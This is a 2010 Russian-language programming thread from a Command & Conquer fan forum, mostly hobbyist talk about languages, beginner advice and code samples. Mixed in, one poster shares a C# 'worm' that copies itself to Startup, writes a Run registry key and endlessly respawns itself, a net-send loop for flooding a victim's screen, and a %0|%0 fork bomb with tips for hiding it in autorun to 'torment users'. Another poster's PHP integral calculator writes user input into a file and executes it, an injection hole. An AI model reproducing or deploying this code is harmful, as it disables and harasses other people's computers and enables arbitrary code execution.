Версия для печати темы
Форум Command & Conquer _ Разное _ Программирование
Автор: ~IL~ 10.6.2010, 9:35
здрасте все, кто сюда забрёл
всем форумчанам предлагаю поучаствовать в этой теме
мне хотелось бы, чтобы любители программирования (надеюсь таковые найдутся) поделились своим опытом друг с другом, а так же привлекали новичков в свои ряды.
ещё неплохо было бы если бы вы написали, на чём вы программируете и в чём достоинства вашего языка или компилятора.
я недавно начал программировать на C#. компилятор SharpDevelop 3.2
мне нравится этот компилятор, очень удобный интерфейс, доступ к свойствам объектов открывается через точку, так же сразу создается ехе-файл, который готов к употреблению)
до этого писал простенькие программки типа калькулятора)
щас представляю на ваш суд код своего червячка))
показать офф-топ
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;
using System.Resources;
namespace a
{
public partial class MainForm : Form
{
public MainForm()
{
Opacity = 0;
//InitializeComponent();
string my_program_path = Application.ExecutablePath.ToString(); //путь к нашей проге
string executable_file_path = "c:/documents and settings/all users/главное меню/программы/автозагрузка/err.exe"; //будущий путь к нашему вирусу
//копирование вируса в автозагрузку
if (!File.Exists(executable_file_path))
File.Copy(my_program_path, executable_file_path);
//запись в реестр
string reg_folder = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\";
RegistryKey reg = null;
reg = Registry.LocalMachine.OpenSubKey(reg_folder, true);
if (reg != null)
{
reg.SetValue("my_autorun", executable_file_path);
}
//тело вируса
while (true)
Process.Start(executable_file_path);
//удаление из реестра
//reg = Registry.LocalMachine.OpenSubKey(reg_folder, true);
//reg.DeleteValue("my_autorun");
}
}
}
кому что будет не понятно - с радостью объясню)
Эскизы прикрепленных изображений
Автор: Nomad 10.6.2010, 10:01
Круть а мы сейчас в коледже Делфи проходим,ты как на счет Делфи 7?
Автор: Akellis 10.6.2010, 10:23
Когда программировал на Unity Javascript, пришлось его выучить =D
Сейчас, так как занимаюсь Саурсом, приходится программировать на C++. Слава богу есть средние знания, по крайней мере могу понять, где ошибка, с лёгкостью читать исходники =D
Автор: Kukov 10.6.2010, 10:55
Раньше с легкостью программировал на VB 6 и паскале, учился работать на с++ и с++.net , но егэ и прочие дела мешают заниматься программированием как хобби.
Использую майкрософт висуал студио - 8ую для с++ и какую то 99 года для VB 6
Автор: IwanS 10.6.2010, 12:30
Ох ну и тема Программирую на QBasic, TPascal, C++, C#, есть проекты на Java (надо было написать, сам язык я не учил). Ну и традиционное PHP, JS и т.п. Лучше всего знаю PHP и C++. Проще всего программировать на C#, по-моему. Из сред использую Visual Studio 2008 и Borland Pascal 7 и MS QB1.0.
Что-нибудь показать... Ну на php написал вот это http://fs.xtud.ru/ и вот это http://math.xtud.ru/ . На C++ написал http://xtud.ru:8080/index.php/topic/24-создание-класса-и-подкласса/, просто демонстрация классов и наследований. Так, что еще... На паскале и басике ниче не хочу показывать, это детсад, http://admin-club.net/forum/8-13-1 25 страниц басикного кода, и это еще не считая удаленных сообщений, а то так было бы все 50.
В догонку хочу сказать, что программировать на чистом C# бессмысленно, любой программист C# должен уметь использовать .net библиотеки и знать об их функциях и возможностях, и очень желательно графику.
Какие мысли по этому поводу? Ненавижу задротство с типами данных в C++ ограниченность библиотеки math.h в вопросах работы с системами счисления.
Автор: user№3213 10.6.2010, 14:03
можно один вопрос
для чего предназначены различные языки?
я не говорю конкретно какой, я спрашиваю в общем.
Автор: Kukov 10.6.2010, 14:14
Ну дак их писали разные люди для разных целей и каждый считает(ну наверняка) что его язык лучше(я знаю только 3 разных компилятора с++ а их скорее всего больше), другое дело что язык может устареть и потому сравнить паскаль и визуал С нельзя, ну только если синтаксис.
Другое обьяснение: вот скажем VB придуман специально для того что бы писали программы для виндоус, и он в люниске работать не будет.
Затем языки для веб технологий на с++ сайты не пишут а вот на PHP пишут
И так можно продолжать долго. Короче говоря каждый язык создан для своей ниши с целью переплюнуть конкурентов, или для того что бы упростить процесс создания программ(но и это селано что бы переплюнуть конкурентов XD)
Автор: ==CJ TPATOC== 10.6.2010, 14:43
Есть базовые знания Turbo Pascal и Borland Delphy. В основном программирую с помощью Action Script (специализированный язык). Опыт - более 5 лет.
Автор: Dukat863 10.6.2010, 16:08
Программирую на C++ и GML (Game Maker Language).
Люблю следующую конструкцию (интерпретатор позволяет):
показать офф-топ
Код
//GML, не C++
switch (true)
{
case (msg='help'):break;
case (msg='exit'):break;
}
Автор: ~IL~ 10.6.2010, 18:07
я пока ещё только начинающий программист, и буду очень рад сотрудничеству
я тут нашёл штуковину "индусский код"=) такая тема прикольная
вот http://lurkmore.ru/%D0%98%D0%BD%D0%B4%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9_%D0%BA%D0%BE%D0%B4 больше всего радует пример №4
и ещё быдлокод на C++, где заменяются команды языка на свои) и пишешь в свободном стиле
кстати этот код компилируется и исполняется (считает элементы массива, и ещё чё-то...)
быдлокод прикрепляю в файле, потому что там много мата))) компилятор нашего форума не одобрит)
Прикрепленные файлы
__.rar ( 70 байт )
Кол-во скачиваний: 223
Автор: Anubis 10.6.2010, 19:01
Шикарная ссылка)))
Автор: ~IL~ 10.6.2010, 19:11
Цитата(Nomad @ 10.6.2010, 11:01)
Круть а мы сейчас в коледже Делфи проходим,ты как на счет Делфи 7?
честно говоря никак)
мы прошли С++ и С#-немного... у нас препод пишет проги на C# в основном.
ночами работает, на парах спит.
в школе проходил Q-Basic и Turbo Pascal
паскаль прошел мимо))) да и бейсик уже плохо помню)
Цитата(IwanS @ 10.6.2010, 13:30)
http://math.xtud.ru/
=) прикольно. эт ты типа для каждого значения х считал значение функции и умножал на шаг, потом складывал?))
это на PHP сделано? просто вроде это можно сделать ещё точнее стандартными средствами языка, по крайней мере я думаю в си это можно реализовать...
у меня завтра как раз экзамен по статистике) там есть вопрос об интервальных статистических рядах... такая муть..
Автор: IwanS 10.6.2010, 20:01
Цитата
=) прикольно. эт ты типа для каждого значения х считал значение функции и умножал на шаг, потом складывал?))это на PHP сделано? просто вроде это можно сделать ещё точнее стандартными средствами языка, по крайней мере я думаю в си это можно реализовать...
На си есть стандартная функция вычисления определенного интеграла, это понятно. Но в PHP нет никаких средств для решения интегралов, вот и приходится методом трапеций считать. Конечно, можно найти первообразную, но это задротство.
Код этой фигни, которую я сделал, вот:
показать офф-топ
Код
<?php
function funcparce($x, $func) {
$func = str_replace('x', '$_SESSION["x"]', $func);
$_SESSION["x"] = $x;
if (!file_exists('./exec.php')) {
$fid = fopen('./exec.php', 'wt');
fwrite($fid, '<?PHP $_SESSION["result"] = '.$func.'; ?>');
fflush($fid);
fclose($fid);
}
require('./exec.php');
$result = $_SESSION['result'];
return $result;
}
$_SESSION['title'] = 'Определенный интеграл';
include '../tpl/header.php';
if ($_POST['step'] == '') $_POST['step'] = '0.0001';
if ($_POST['step'] < 0.0001) $_POST['step'] = '0.0001';
echo '<center><form action="./index.php" method="post"><table border="0" width="300px">';
echo '<tr><td width="30px"><input type="text" size="2" name="up" value="'.$_POST['up'].'"></td><td></td></tr>';
echo '<tr><td width="30px"><img src="int.png"></td><td><input type="text" size="30" name="int" value="'.$_POST['int'].'"> <i>dx</i></td></tr>';
echo '<tr><td width="30px"><input type="text" size="2" name="dn" value="'.$_POST['dn'].'"></td><td></td></tr>';
echo '</table>Укажите точность: <input type="text" size="5" name="step" value="'.$_POST['step'].'"> <input type="submit" value="РЕШИТЬ!"></form></center>';
echo '<div class="topinfo"><b>Внимание: </b>функция степени пишется как pow(основание, степень). Если интеграл не решается, нажать <a href="./fix.php">сюда</a> и попробовать снова! Если интеграл все равно не считается (в случае если пределы интегрирования отличаются значительно, поставьте меньшую точность.</div><br>';
if ($_POST['int'] != '') {
if ($_POST['up'] > $_POST['dn']) { $up = $_POST['up']; $x = $_POST['dn']; $mn = 1; } else { $up = $_POST['dn']; $x = $_POST['up']; $mn = -1; }
$step = $_POST['step'];
$y = funcparce($x, $_POST['int']);
while ($x <= $up) {
$pry = $y;
$x = $x + $step;
$y = funcparce($x, $_POST['int']);
$fsum = $fsum + ($pry + $y)*$step/2;
}
unlink('./exec.php');
$fsum = $fsum * $mn;
if ($_POST['up'] == $_POST['dn']) $fsum = 0;
echo 'Искомый интеграл = '.$fsum;
}
include '../tpl/footer.php';
?>
Кстати вдогонку насчет индусского программирования. Вот вам прога, где идет генерация из одного RND, то есть обычная ситуация:
показать офф-топ
Код
CLS
RANDOMIZE TIMER
DIM a(10)
INPUT "Vvesti N: ", n
FOR j = 1 TO n
x = INT(RND * 10 + 1)
a(x) = a(x) + 1
NEXT j
FOR i = 1 TO 10
PRINT i; "("; a(i); ")", " = ";
FOR j = 1 TO INT(a(i) / n * 100)
PRINT "#";
NEXT j
PRINT
NEXT i
А вот прога, где идет то что упомянуто в статье, то есть (RND+RND+RND)/3:
показать офф-топ
Код
CLS
RANDOMIZE TIMER
DIM a(10)
INPUT "Vvesti N: ", n
FOR j = 1 TO n
x = INT((RND + RND + RND) / 3 * 10 + 1)
a(x) = a(x) + 1
NEXT j
FOR i = 1 TO 10
PRINT i; "("; a(i); ")", " = ";
FOR j = 1 TO INT(a(i) / n * 100)
PRINT "#";
NEXT j
PRINT
NEXT i
Для тех кто в танке, N = количество проходов, имеет смысл ставить значение 1000...1000000, лучше конечно миллион.
Обратите внимание на распределение случайной величины в зависимости от одного рандомайза, и трех. Вывод очевиден - при одном видим равномерное распределение, при трех - нормальное. Но это в QBasic, в C++ сделаю такое чуть попозже...
Автор: LostLegion 10.6.2010, 20:31
А я вот не умею пока программировать) Посоветуйте с чего лучше начинать
Автор: Avenger 10.6.2010, 21:08
Цитата(LostLegion @ 10.6.2010, 21:31)
А я вот не умею пока программировать) Посоветуйте с чего лучше начинать
Думаю лучше с Паскаля. Старая школа...
Автор: ~IL~ 10.6.2010, 21:23
Цитата(Avenger @ 10.6.2010, 22:08)
Думаю лучше с Паскаля. Старая школа...
мне кажется не важно с чего начинать
лучше уже сразу с того языка, который тебе нужен
главное - хороший учебник.. или учитель)
Автор: IwanS 10.6.2010, 21:53
Ни в коем случае не с паскаля,он сейчас нафиг никому не нужен. Лучше с С++.
Кстати насчет генерации случайных чисел в C++:
Вот прога, которая генерирует числа с одним rand():
показать офф-топ
Код
#include "stdafx.h"
#include <iostream>
#include <time.h>
using namespace std;
int main() {
int n, cnt, cnt2, x; int w[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
srand(time(NULL));
cout << "Enter cycles reply: ";
cin >> n;
for (cnt = 1; cnt < n; cnt++) {
x = (int)(rand() % 10)+1;
w[x] = w[x] + 1;
}
cout << endl;
for (cnt = 1; cnt < 10; cnt++) {
cout << cnt << " (" << w[cnt] << ") = \t";
for (int cnt2 = 1; cnt2 < (w[cnt] * 100 / n); cnt2++) cout << "#";
cout << endl;
}
cin >> cnt2;
return 0;
}
а вот прога, которая делает то же самое с тремя rand():
показать офф-топ
Код
#include "stdafx.h"
#include <iostream>
#include <time.h>
using namespace std;
int main() {
int n, cnt, cnt2, x; int w[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
srand(time(NULL));
cout << "Enter cycles reply: ";
cin >> n;
for (cnt = 1; cnt < n; cnt++) {
x = (int)((rand()+rand()+rand()) / 3 % 10)+1;
w[x] = w[x] + 1;
}
cout << endl;
for (cnt = 1; cnt < 10; cnt++) {
cout << cnt << " (" << w[cnt] << ") = \t";
for (int cnt2 = 1; cnt2 < (w[cnt] * 100 / n); cnt2++) cout << "#";
cout << endl;
}
cin >> cnt2;
return 0;
}
Вот такие пироги. Так что если кто-то из вас умеет программировать, вперед проверять гипотезу о нормальном распределении среднеарифметического трех случайных.
Автор: Avenger 10.6.2010, 22:02
Да, ладно. В Паскале всё очень просто и доступно изложено. Это как стартовая площадка.
Цитата(IwanS @ 10.6.2010, 22:53)
Ни в коем случае не с паскаля,он сейчас нафиг никому не нужен. Лучше с С++.
Верно, он никому не нужен. Но что бы понять основы, он подойдёт.
Автор: IwanS 10.6.2010, 22:12
Цитата
Верно, он никому не нужен. Но что бы понять основы, он подойдёт.
Нет, он дает дурные привычки типа не надо инициализировать переменные значениями. Дело ваше, я не рекомендую начинать с паскаля. С++ лучше для новичков и профессионалов. Это базовый язык современности.
Автор: Avenger 10.6.2010, 22:17
Цитата(IwanS @ 10.6.2010, 23:12)
Нет, он дает дурные привычки типа не надо инициализировать переменные значениями. Дело ваше, я не рекомендую начинать с паскаля. С++ лучше для новичков и профессионалов. Это базовый язык современности.
Да, современности. Он мне и сам нравиться. Но сейчас некоторые пользователи начинают перебираться на Java.
Автор: Nomad 10.6.2010, 22:18
ИМХО паскль бред,сидишь долбишь по клавишам выводиш листинг который в делфи за секунду готов(правда говорят что С++ еще легче делфи)
Автор: Avenger 10.6.2010, 22:22
Цитата(Nomad @ 10.6.2010, 23:18)
ИМХО паскль бред,сидишь долбишь по клавишам выводиш листинг который в делфи за секунду готов(правда говорят что С++ еще легче делфи)
Отжог...
Ты только что полностью повторил слова нашего преподавателя. Он говорил ту же вещь только про C++ и Java.
Автор: ==CJ TPATOC== 10.6.2010, 22:24
Цитата(LostLegion @ 10.6.2010, 21:31)
А я вот не умею пока программировать) Посоветуйте с чего лучше начинать
Паскаль, Бейсик, просто логику поизучай, пригодится в жизни, если ты технарь
А я сейчас оптимизацией графики и кода занимаюсь. Осталось почитать о симбиозе Delphi и Flash, эта штука может серьезно повысить скорость обработки кода. Так что мой двиг для Flash скоро будет готов
, и если я это сделаю, то я перейду на другие языки.
Автор: ~IL~ 11.6.2010, 0:15
Цитата(IwanS @ 10.6.2010, 21:01)
Вывод очевиден - при одном видим равномерное распределение, при трех - нормальное. Но это в QBasic, в C++ сделаю такое чуть попозже...
я попробовал
и действительно!!
я в шоке!!
спасибо, иванс) завтра буду мучать препода
зы. точнее сегодня)
Автор: Nomad 11.6.2010, 9:55
Цитата(Avenger @ 10.6.2010, 22:22)
Отжог...
Ты только что полностью повторил слова нашего преподавателя. Он говорил ту же вещь только про C++ и Java.
Нет ну серьезно
Один раз нам на паре дали задания запрограммировать приложение которое бы квадратный корень искало,я сидел час с лишним долбил по клавишам набирал листинг,потом остаеться 15 до конца пары и тут хопа,это падло не запускается
,я зову препода он смотрит код,ищет ошибку 10 мин искали не нашли,пара кончилась
Вообщем теперь программирование в Паскале сниться теперь мне в страшных кошмарах
Автор: Dukat863 11.6.2010, 10:35
Цитата(Nomad @ 11.6.2010, 10:55)
Нет ну серьезно
Один раз нам на паре дали задания запрограммировать приложение которое бы квадратный корень искало,я сидел час с лишним долбил по клавишам набирал листинг,потом остаеться 15 до конца пары и тут хопа,это падло не запускается
,я зову препода он смотрит код,ищет ошибку 10 мин искали не нашли,пара кончилась
Вообщем теперь программирование в Паскале сниться теперь мне в страшных кошмарах
Код
//С++
sqrt(/*число*/);
Вот тебе и ответ
Я советую начинать с бейсика.
Автор: IwanS 11.6.2010, 13:18
Цитата
Один раз нам на паре дали задания запрограммировать приложение которое бы квадратный корень искало,я сидел час с лишним долбил по клавишам набирал листинг,потом остаеться 15 до конца пары и тут хопа,это падло не запускается ,я зову препода он смотрит код,ищет ошибку 10 мин искали не нашли,пара кончилась
Ох и программисты у вас (у меня ушло 2 минуты)...
Код
uses crt;
var
a : real;
begin
clrscr;
write('Input value: ');
readln(a);
writeln ('Sqrt of values ', a:4:2, ' = ', sqrt(a):4:2);
readkey;
end.
Цитата
Я советую начинать с бейсика.
Автор: ~IL~ 11.6.2010, 18:13
Цитата(~IL~ @ 11.6.2010, 1:15)
я попробовал
и действительно!!
я в шоке!!
спасибо, иванс) завтра буду мучать препода
зы. точнее сегодня)
цитирую сам себя, ибо понял в чём фишка))
препода мучить не пришлось)
очевидно, что вероятность нахождения двух и более случайных величин по разные стороны от центра больше, чем по одну сторону, значит и их средняя будет ближе к центру, вот и холмик))
хотя насчёт нормального распределения я бы не стал так категорически заявлять... но в пределе это однозначно будет нормальным
что насчёт "с чего начать программировать?" думаю всё таки лучше C# ну или C++, потому что там есть MSDN на русском языке, можно зайти и посмотреть чё да как, да и форумов на эту тему больше.. и сама логика языка заставляет писать правильный код...
как сказал наш препод, если вы не знаете как именно надо писать, но вам кажется что надо так, то скорее всего так и надо)
Цитата(IwanS @ 11.6.2010, 14:18)
Ох и программисты у вас (у меня ушло 2 минуты)...
Код
uses crt;
var
a : real;
begin
clrscr;
write('Input value: ');
readln(a);
writeln ('Sqrt of values ', a:4:2, ' = ', sqrt(a):4:2);
readkey;
end.
пробовал написать..
пишет инвалид файл нейм. еррор 14.
имя вроде английское
хотя я хотел спросить только что означает a:4:2
просто я уже очень давно на нем ниче не делал)
Автор: Avenger 11.6.2010, 18:22
Мне предстоит задача - написать на С++ Генетический алгоритм.
Автор: IwanS 11.6.2010, 19:44
Цитата
пробовал написать..пишет инвалид файл нейм. еррор 14.
Неверно указан рабочий каталог или файл библиотек. Прога рабочая 100%.
Насчет нормального распределения... х\з, х\з. Я не хочу даже думать об этом.
Автор: ~IL~ 12.6.2010, 9:18
представляю еще один каверзный код на C# =)
с помощью него можно заспамить кого-нибудь сообщениями
единственная проблема - служба сообщений, она отключена по умолчанию
панель управления - администрирование - службы
если вам удастся запустить эту службу на чужом компе, тогда этим кодом можно немного пошалить)))
показать офф-топ
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using System.Diagnostics;
namespace OXO
{
public partial class MainForm : Form
{
public MainForm()
{
InitializeComponent();
while (true)
Process.Start("net", "send 192.168.3.155 Привет!");
}
}
}
вот то что ваша жертва будет видеть на экране, причём кликать на OK бесполезно) ибо там ещё сотни таких окошек
зы. до среды меня не будет, присылайте свои интересные коды и идеи!=)
Эскизы прикрепленных изображений
Автор: IwanS 12.6.2010, 9:43
Цитата
представляю еще один каверзный код на C# =)с помощью него можно заспамить кого-нибудь сообщениями
Фишка в том что ты сам не сможешь вырубить программу, только через диспетчер задач и она будет и у тебя хавать ресурсы. Можно было сделать какой-нибудь триггер на остановку и паузу между вызовами net send.
Автор: ~IL~ 14.6.2010, 19:45
Цитата(IwanS @ 12.6.2010, 10:43)
Фишка в том что ты сам не сможешь вырубить программу, только через диспетчер задач и она будет и у тебя хавать ресурсы. Можно было сделать какой-нибудь триггер на остановку и паузу между вызовами net send.
вообще-то нет.. там просто у тебя вылезает пустое окошко, когда ты его закрываешь, прога останавливается))пардон, скоро переделаю)
Автор: MiG-27 24.6.2010, 15:24
Ну, собственно и я тудь отпостюсь)
пытался програмировать на Pas Delfi Basic PHP и много еще на чем
Реально програмироваю: C++ HTML java script =)
Автор: user№3213 24.6.2010, 15:28
HTML это не язык программирования) сам имею опыт работы на нём, одна проблема, практики нет
Автор: MiG-27 26.6.2010, 18:11
как не язык?
как нет практики?
заходи на юкоз и ваяй)
Автор: IwanS 27.6.2010, 5:03
Язык программирования - это такой, который может что-то посчитать. HTML не может сделать абсолютно ничего, он может только выводить всегда одинаковую страницу. Вывод: HTML - язык разметки.
Кстати на uCoz используется не HTML, а их собственный основанный на HTML код. Добавки - это операторы и переменные.
Автор: Dukat863 29.6.2010, 13:10
Решил почитать эл. книгу по Ассемблеру. Прочитал чуть-чуть и уже голова болит...
Автор: Diamond00744 25.7.2010, 21:45
Немного знаю Pascal и Delphi.
http://diamond00744.do.am/products/bn_1.1rc2.exe, http://diamond00744.do.am/products/bn_skins.rar, http://diamond00744.do.am/products/calculater_1.0a.exe, http://diamond00744.do.am/products/monres_1.0a.exe, http://diamond00744.do.am/products/sphere_0.1test.exe, http://diamond00744.do.am/products/vinomp_0.1test.exe, http://diamond00744.do.am/products/freevk_1.0.exe
----------------------------------------
ФАЙЛЫ БЕЗ ВИРУСОВ! ПРОВЕРЕНО VIRUSTOTAL
----------------------------------------
Автор: Bonpoc4er 25.7.2010, 21:47
Diamond00744
а бесплатные голоса работают? ))
Автор: ==CJ TPATOC== 25.7.2010, 21:48
Цитата(Diamond00744 @ 25.7.2010, 22:45)
И все недоделано
Не удивляйся, у меня тоже много недоделано. Это бывает так, раз - идейка, поделаем ее немного, потом уже надоедает. Лично у меня так.
Автор: Diamond00744 25.7.2010, 22:13
BONPOC 4 ER, скачай и посуди сам)))
Автор: Щука Карась 26.7.2010, 15:20
Хммм не кидайтесь в меня тухлым тиберием но я пока только турбо паскаль осваиваю. С оператором case пытаюсь разобраться...
Автор: Diamond00744 26.7.2010, 23:23
Цитата
Лет в интернете: 4-5
Ничего, еще все впереди. Будешь программистом и сделаешь программу для воспроизведения голограмм в Intel.
Автор: Dukat863 27.7.2010, 16:13
Цитата(Diamond00744 @ 27.7.2010, 0:23)
Ничего, еще все впереди. Будешь программистом и сделаешь программу для воспроизведения голограмм в Intel.
Голограммы?
Уже поздно...
Автор: Diamond00744 27.7.2010, 16:15
Вот когда они в повседневную жизнь войдут, ты их новые и будешь разрабатывать.
"Мониторы? Уже поздно! Ан нет! Придумаю ка я ЖК монитор!"
Вот так же и ты!
Автор: Kukov 27.7.2010, 17:59
Цитата(Diamond00744 @ 25.7.2010, 22:13)
BONPOC 4 ER, скачай и посуди сам)))
Кстати качаете вы это на свой страх и риск
Автор: Diamond00744 27.7.2010, 18:31
Я писал эту прогу на Delphi. Все чисто. У меня NOD32.
Отправил на VirusTotal. Он проверил этот архив 41 антивирусами. 13 что-то обнаружили.
http://www.virustotal.com/ru/analisis/93d86cfef139f932e44e99b526aec7952c8b6a9342a82a63279b446135b02135-1280242842
Хотя файл EXE уже кто-то до меня проверял. Результат http://www.virustotal.com/ru/analisis/d5a3d6b0ca34a34a83943122c19a5e3eb8dd86e1a600d7ec4453d0b13d926014-1277380412 - 4/41
Неужели мои работы в вирусах?
Отправил "Разрешение экрана" туда же. Результат: 0 (http://www.virustotal.com/ru/analisis/ad55fece54ab7c0c1f15b39f19c31c5cf0f99eb7cf2e2fa8f7c1cd7e2a1091d7-1280244311)
Автор: IwanS 27.7.2010, 19:09
Diamond00744, может ты библиотеку какую-то специфическую использовал там? Ведь не обязательно вся прога вирус, достаточно одну функцию какую-то.
P.S: я знаю о вирусах, которые сами приписываются к проектам на делфи и при компиляции включаются в них. То есть рекомендую открыть исходный проект и посмотреть подключаемые модули.
Автор: Diamond00744 27.7.2010, 19:16
IwanS спасибо тебе огромное за понимание, я думал, меня с форума отправят куда подальше.
Я только в этой программе использовал сжатие UPX. Снизился размер с 1,6 Мб до где-то 400-600 Кб. Может, оно вызывает подозрение.
Нет, пересобрал EXE. Без сжатия и архивации отправил на VirusTotal. 6/42. Это не UPX. Возможно, простые слова "бесплатные голоса в контакте" вызывают подозрения у антивирусов =)).
Еще возможность, почему определяется вирусом - у меня при нажатии на кнопку подряд выводятся 10 окон с сообщениями (не одновременно, а первое окно - ОК - второе - ОК - третье...). Это возможно?
Программа пароля не просит, сис. файлы не меняет, в Интернет не выходит
Автор: IwanS 27.7.2010, 19:21
Diamond00744, а ты не мог бы дать листинг заголовка твоего проекта. Ну где uses <....> и до слова begin. Верхнюю часть основного файла. Мне интересно, какие библиотеки ты используешь, может быть дело в них.
P.S: Я в свое время упаковывал приложения с помощью ASPack (кажется так), проблем с ошибочным определением вирусов не было.
Насчет 10 подряд окошек... я так не делал, сказать ничего не могу. Теоретически возможно, но это было бы глупостью...
Автор: Diamond00744 27.7.2010, 19:30
Уменьшил кол-во окон с сообщениями до трех. Результат уже не 6/42, а 4/42
Я в uses все уменьшил до минимума, еще раз отправил на VirusTotal. - 4/42
uses
Windows, Messages, SysUtils, Forms,
Dialogs, ExtCtrls, pngimage, Controls, Classes, StdCtrls;
http://www.virustotal.com/ru/analisis/d5a3d6b0ca34a34a83943122c19a5e3eb8dd86e1a600d7ec4453d0b13d926014-1277380412
Вот эти 4 подозрения
Автор: IwanS 27.7.2010, 19:37
Diamond00744, это не серьезно. Какие-то 4 неизвестных антивируса детектят эвристикой чего-то невнятное (причем обрати внимание - одно и то же, скорее всего одни и те же базы кроме нормана) - это даже смотреть не стоит . Если касперский + дрвеб + нод32 + аваст ничего не видят - все норм.
Автор: Diamond00744 27.7.2010, 20:03
Ладно, последний момент: сжал UPX-ом, отправил, тоже 4/42
Остальное без вирусов
Автор: ~IL~ 7.11.2010, 23:34
одну фишку вспомнил
мне тут один чел показал, теперь я вам показываю) но это все программисты наверно знают..
создаёте текстовый файл и пишете там
%0 | %0
сохраняете под расширением *.cmd
если вам удастся запустить его и вырубить хотя бы через диспетчер задач, тогда придётся немного усложнить
%0 | %0 | %0
если и это вас не убеждает, можно написать так
123
0% | %0
пробуем, тестируем, издеваемся над юзерами)
самый простой способ запихать в автозагрузу
а ещё лучше в реестре прописать (для тех кто в танке Пуск-выполнить-regedit)
в каталоге HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run создаем строковый параметр и в поле "Значение" задаём путь к нашему любимому *.cmd =)
если вы хотите насолить опытному юзеру, придётся помаксимуму замаскировать его (ну, здесь уж кто на что горазд, главное, чтобы в процессах и в реестре название казалось безобидным=))
если у вас на всё это мало времени, то можно написать программку, которая сделает это за вас. я готов помочь если что))
Автор: Diamond00744 8.11.2010, 13:23
~IL~, это полное издевательство...
Автор: ~IL~ 13.11.2010, 20:14
есть такая интересная штука - http://ru.wikipedia.org/wiki/%D0%A4%D1%80%D0%B0%D0%BA%D1%82%D0%B0%D0%BB.
самый известный фрактал - http://ru.wikipedia.org/wiki/%D0%9C%D0%BD%D0%BE%D0%B6%D0%B5%D1%81%D1%82%D0%B2%D0%BE_%D0%9C%D0%B0%D0%BD%D0%B4%D0%B5%D0%BB%D1%8C%D0%B1%D1%80%D0%BE%D1%82%D0%B0.
мне удалось раздобыть исходный код построения этого чудо-рисунка на C#
показать офф-топ
// <remarks>
// Mandel.cs Copyright 2005, written by Pierre Leclercq
// </remarks>
namespace Mandelbrot
{
public class Mandel
{
//
// Protected fields
//
protected System.Windows.Forms.ProgressBar m_ProgressBar;
//
// Constructor
//
public Mandel(System.Windows.Forms.ProgressBar pProgressBar)
{
m_ProgressBar = pProgressBar;
}
//
// Properties
//
//
// Public members
//
public System.Drawing.Bitmap GetBitmap(
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
try
{
int i = 0;
int j = 0;
int[][] lValues = new int[pImageHeight][];
for (i = 0; i < pImageHeight; i++)
{
lValues[i] = new int[pImageWidth];
}
CalculateLevels(
lValues,
pImageWidth,
pImageHeight,
pXMin,
pXMax,
pYMin,
pYMax,
pMaxIterationCount);
System.Drawing.Bitmap lBitmap = new System.Drawing.Bitmap(pImageWidth, pImageHeight, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
byte lRed = 0;
byte lGreen = 0;
byte lBlue = 0;
int lPixelByteCount = 4;
int lAlphaPos = 3;
int lRedPos = 2;
int lGreenPos = 1;
int lBluePos = 0;
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;
m_ProgressBar.Minimum = 0;
m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;
System.Drawing.Imaging.BitmapData lBitmapData = new System.Drawing.Imaging.BitmapData();
lBitmap.LockBits(
new System.Drawing.Rectangle(
0,
0,
pImageWidth,
pImageHeight),
System.Drawing.Imaging.ImageLockMode.WriteOnly,
System.Drawing.Imaging.PixelFormat.Format32bppArgb,
lBitmapData);
unsafe
{
System.Byte* lStartPtr = (System.Byte*)((void*)lBitmapData.Scan0);
int lEndToStart = lBitmapData.Stride - pImageWidth * lPixelByteCount;
System.Byte* lPtr = lStartPtr;
for (j = 0; j < pImageHeight; j++)
{
for (i = 0; i < pImageWidth; i++)
{
GetColorFromLevel(
lValues[j][i],
pMaxIterationCount,
out lRed,
out lGreen,
out lBlue);
lPtr[lAlphaPos] = 255;
lPtr[lRedPos] = lRed;
lPtr[lGreenPos] = lGreen;
lPtr[lBluePos] = lBlue;
lPtr += lPixelByteCount;
lPixelPos++;
}
lPtr += lEndToStart;
m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}
lBitmap.UnlockBits(lBitmapData);
return lBitmap;
}
catch
{
return null;
}
}
//
// Protected members
//
protected double GetPotential(
double pX,
double pY,
int pMaxIterationCount)
{
int lIteration = 0;
double lX = pX;
double lY = pY;
double lX2 = lX * lX;
double lY2 = lY * lY;
double lTemp = 0;
while ((lIteration < pMaxIterationCount) && ((lX2 + lY2) < 10000.0))
{
lTemp = lX2 - lY2 + pX;
lY = 2 * lX * lY + pY;
lX = lTemp;
lX2 = lX * lX;
lY2 = lY * lY;
lIteration++;
}
if (lIteration < pMaxIterationCount)
{
return 0.5 * System.Math.Log(lX2 + lY2) / System.Math.Pow(2.0, (double)lIteration);
}
else
{
return 0.0;
}
}
protected int GetLevel(
double pX,
double pY,
int pMaxIterationCount)
{
int lIteration = 0;
double lX = 0;
double lY = 0;
double lX2 = 0;
double lY2 = 0;
double lTemp = 0;
while ((lIteration < pMaxIterationCount) && ((lX2 + lY2) < 10000.0))
{
lTemp = lX2 - lY2 + pX;
lY = 2 * lX * lY + pY;
lX = lTemp;
lX2 = lX * lX;
lY2 = lY * lY;
lIteration++;
}
return lIteration;
}
protected void CalculateLevels(
int[][] pArrays,
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
int lMaxImageXIndex = pImageWidth - 1;
int lMaxImageYIndex = pImageHeight - 1;
double lX = 0.0;
double lY = 0.0;
double lXExtent = pXMax - pXMin;
double lYExtent = pYMax - pYMin;
double lXFactor = lXExtent / (double)lMaxImageXIndex;
double lYFactor = lYExtent / (double)lMaxImageYIndex;
double lFactor = System.Math.Min(lXFactor, lYFactor);
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;
m_ProgressBar.Minimum = 0;
